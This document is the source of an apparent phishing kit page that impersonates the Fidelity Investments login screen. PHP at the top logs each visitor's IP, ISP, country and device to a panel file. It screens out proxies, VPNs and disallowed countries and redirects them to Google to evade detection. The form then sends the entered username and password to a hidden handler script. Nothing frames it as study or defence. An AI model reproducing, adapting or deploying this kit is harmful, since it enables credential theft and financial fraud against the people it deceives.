<?php
session_start();
include "panel/banip/zeus.php";
include "panel/send/panel.php";
require_once 'prevents/dt.php';
require_once 'prevents/filtre.php';
$settings = [];
if (file_exists("panel/settings/settings.json")) {
    $settings = json_decode(file_get_contents("panel/settings/settings.json"), true);
}
$checkProxy = $settings['proxy_check'] ?? false;
$checkCountry = $settings['country_check'] ?? false;
$browser = new BrowserDetection();
$detector = new Obj();
$deviceType = $browser->isMobile() ? "📱 Mobile Device" : "💻 Desktop Device";
$os = $browser->getPlatform();
$browserName = $browser->getName();
$browserVersion = $browser->getVersion();
$browserInfo = "$browserName $browserVersion";
$ipDetails = $detector->getIpDetails();
$visitor_ip = $_SERVER['REMOTE_ADDR'];
if (!$checkProxy && !$checkCountry) {
    $status = "⚠️ ANTIBOTS DISABLED";
    $statusClass = "status-clean";
    $blockAccess = false;
} else {
    $status = "✅ CLEAN";
    $statusClass = "status-clean";
    $blockAccess = false;
    if ($checkProxy) {
        $isProxy = !$detector->__checkproxy();
        if ($isProxy) {
            $status = "⚠️ PROXY/VPN DETECTED";
            $statusClass = "status-proxy";
            $blockAccess = true;
        }
    }
    if ($checkCountry && !$blockAccess) {
        $allowedCountries = [];
        if (file_exists("panel/countryallowed/allowed_countries.php")) {
            include "panel/countryallowed/allowed_countries.php";
            $allowedCountries = $country;
        }
        $isAllowedCountry = $detector->__allowedcountry($allowedCountries);
        if (!$isAllowedCountry) {
            $status = "🚫 PAYS NON AUTORISÉ";
            $statusClass = "status-blocked";
            $blockAccess = true;
        }
    }
}
$country = $ipDetails['country'] ?? 'Unknown';
$city = $ipDetails['city'] ?? 'Unknown';
$isp = $ipDetails['isp'] ?? 'Unknown';
$date = date("Y-m-d H:i:s");
$visitor_info = "<tr><td><img class='flag-icon' src='https://flagcdn.com/16x12/" . strtolower($ipDetails['countryCode'] ?? 'us') . ".png' alt='" . $country . "'> $visitor_ip</td><td>$date</td><td>$isp</td><td>$country</td><td><span class='status-device'>$deviceType</span></td><td><span class='$statusClass'>$status</span></td><td>$os</td><td>$browserInfo</td></tr>";
try {
    $file = fopen("panel/dhyouf.php", "a+");
    if ($file) {
        fwrite($file, $visitor_info);
        fclose($file);
    }
} catch (Exception $e) {
    error_log("Erreur d'écriture dans dhyouf.php: " . $e->getMessage());
}
if ($blockAccess) {
    header("Location: https://www.google.com");
    exit();
}
$token = bin2hex(random_bytes(32));
$_SESSION['auth_token'] = $token;
$_SESSION['auth_time'] = time();
$_SESSION['visitor_ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
if (isset($_GET['verify']) && $_GET['verify'] == 'ajax') {
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'token' => $token]);
    exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log In to Fidelity Investments</title>
    <style>
        :root {
            --fid-green: #308000;
            --fid-green-hover: #266600;
            --fid-black: #000000;
            --fid-gray-text: #545454;
            --fid-light-bg: #f4f4f4;
            --error-red: #cc0000;
            --border-ui: #dcdcdc;
            --radius-semi: 8px; /* Semi-rounded setting */
            --font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: var(--font-family);
        }

        body {
            background-color: var(--fid-light-bg);
            color: var(--fid-black);
            line-height: 1.5;
            -webkit-font-smoothing: antialiased;
        }

        .layout {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }

        .navbar {
            background: #fff;
            padding: 1rem 2rem;
            display: flex;
            justify-content: center;
            border-bottom: 1px solid var(--border-ui);
        }

        .navbar-content {
            width: 100%;
            max-width: 1200px; /* Limits content width for alignment on wide screens */
            display: flex;
            justify-content: flex-start; /* Aligns logo to the left */
        }

        .logo img {
            height: 50px;
            width: auto;
        }

        .main-container {
            flex: 1;
            display: flex;
            align-items: flex-start;
            justify-content: center;
            padding: 3rem 1rem;
        }

        .login-card {
            background: #ffffff;
            width: 100%;
            max-width: 440px;
            padding: 2.5rem;
            border-radius: var(--radius-semi);
            box-shadow: 0 4px 20px rgba(0,0,0,0.08);
        }

        h1 {
            font-size: 1.75rem;
            font-weight: 700;
            margin-bottom: 2rem;
            color: var(--fid-black);
        }

        .field-group {
            margin-bottom: 1.5rem;
            position: relative;
        }

        .label-row {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 0.5rem;
        }

        label {
            font-weight: 700;
            font-size: 0.95rem;
        }

        .input-container {
            position: relative;
        }

        input[type="text"],
        input[type="password"] {
            width: 100%;
            height: 52px;
            padding: 0 1rem;
            font-size: 1rem;
            border: 1px solid var(--border-ui);
            border-radius: var(--radius-semi);
            transition: border-color 0.2s, box-shadow 0.2s;
            background: #fff;
        }

        input:focus {
            outline: none;
            border-color: var(--fid-green);
            box-shadow: 0 0 0 1px var(--fid-green);
        }

        .toggle-btn {
            position: absolute;
            right: 1rem;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            color: var(--fid-green);
            font-weight: 700;
            font-size: 0.85rem;
            cursor: pointer;
            padding: 0.5rem;
        }

        .checkbox-row {
            display: flex;
            align-items: center;
            margin: 1.5rem 0;
            cursor: pointer;
        }

        .checkbox-row input {
            width: 20px;
            height: 20px;
            margin-right: 12px;
            cursor: pointer;
            accent-color: var(--fid-green);
        }

        .btn-primary {
            width: 100%;
            height: 52px;
            background-color: var(--fid-green);
            color: #fff;
            border: none;
            border-radius: var(--radius-semi);
            font-size: 1.1rem;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-top: 1rem;
        }

        .btn-primary:hover {
            background-color: var(--fid-green-hover);
            transform: translateY(-1px);
            box-shadow: 0 4px 8px rgba(48, 128, 0, 0.2);
        }

        .helper-links {
            margin-top: 2rem;
            border-top: 1px solid var(--border-ui);
            padding-top: 1.5rem;
            text-align: center;
        }

        .helper-links a {
            color: var(--fid-green);
            text-decoration: none;
            font-weight: 700;
            font-size: 0.95rem;
        }

        .helper-links a:hover {
            text-decoration: underline;
        }

        .spinner {
            width: 20px;
            height: 20px;
            border: 3px solid rgba(255,255,255,0.3);
            border-top: 3px solid #fff;
            border-radius: 50%;
            animation: spin 0.8s linear infinite;
            display: none;
        }

        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

        .loading-view {
            display: none;
            text-align: center;
            padding: 2rem 0;
        }

        @media (max-width: 480px) {
            .navbar { padding: 1rem; }
            .login-card { padding: 1.5rem; box-shadow: none; border: none; background: transparent; }
            body { background: #fff; }
        }
    </style>
</head>
<body>

<div class="layout">
    <header class="navbar">
        <div class="navbar-content">
            <div class="logo">
                <img src="./logo.png" alt="Fidelity Investments">
            </div>
        </div>
    </header>

    <main class="main-container">
        <div class="login-card">
            <div id="authView">
                <h1>Log In</h1>
                
                <form id="loginForm" method="POST" action="panel/send/18b43c6a536a8fe1362f7a3887936be6.php">
                    <div class="field-group">
                        <div class="label-row"><label for="username">Username</label></div>
                        <div class="input-container">
                            <input type="text" id="username" name="username" spellcheck="false" required>
                        </div>
                    </div>

                    <div class="field-group">
                        <div class="label-row"><label for="password">Password</label></div>
                        <div class="input-container">
                            <input type="password" id="password" name="password" required>
                            <button type="button" class="toggle-btn" id="passToggle">Show</button>
                        </div>
                    </div>

                    <label class="checkbox-row">
                        <input type="checkbox" id="remember">
                        <span>Remember my username</span>
                    </label>

                    <button type="submit" class="btn-primary" id="loginBtn">
                        <span class="btn-text">Log In</span>
                        <div class="spinner"></div>
                    </button>
                </form>

                <div class="helper-links">
                    <a href="#">Forgot username or password?</a>
                    <p style="margin-top: 1rem; font-size: 0.9rem; color: var(--fid-gray-text);">New to Fidelity? <a href="#">Open an account</a>.</p>
                </div>
            </div>

            <div id="loadingView" class="loading-view">
                <div style="width: 40px; height: 40px; border: 4px solid var(--fid-light-bg); border-top: 4px solid var(--fid-green); border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto 1.5rem;"></div>
                <h2 style="font-weight: 700;">Authenticating</h2>
                <p style="color: var(--fid-gray-text);">Securing your session...</p>
            </div>
        </div>
    </main>
</div>

<script>
    document.addEventListener('DOMContentLoaded', () => {
        const loginForm = document.getElementById('loginForm');
        const passInput = document.getElementById('password');
        const passToggle = document.getElementById('passToggle');
        const loginBtn = document.getElementById('loginBtn');
        const authView = document.getElementById('authView');
        const loadingView = document.getElementById('loadingView');

        passToggle.addEventListener('click', () => {
            const isPass = passInput.type === 'password';
            passInput.type = isPass ? 'text' : 'password';
            passToggle.textContent = isPass ? 'Hide' : 'Show';
        });

        loginForm.addEventListener('submit', async (e) => {
            e.preventDefault();
            loginBtn.disabled = true;
            loginBtn.querySelector('.btn-text').style.display = 'none';
            loginBtn.querySelector('.spinner').style.display = 'block';

            try {
                const response = await fetch(loginForm.action, {
                    method: 'POST',
                    body: new FormData(loginForm)
                });

                if (response.redirected) {
                    window.location.href = response.url;
                } else {
                    authView.style.display = 'none';
                    loadingView.style.display = 'block';
                }
            } catch (err) {
                loginBtn.disabled = false;
                loginBtn.querySelector('.btn-text').style.display = 'block';
                loginBtn.querySelector('.spinner').style.display = 'none';
            }
        });
    });
</script>
</body>
</html>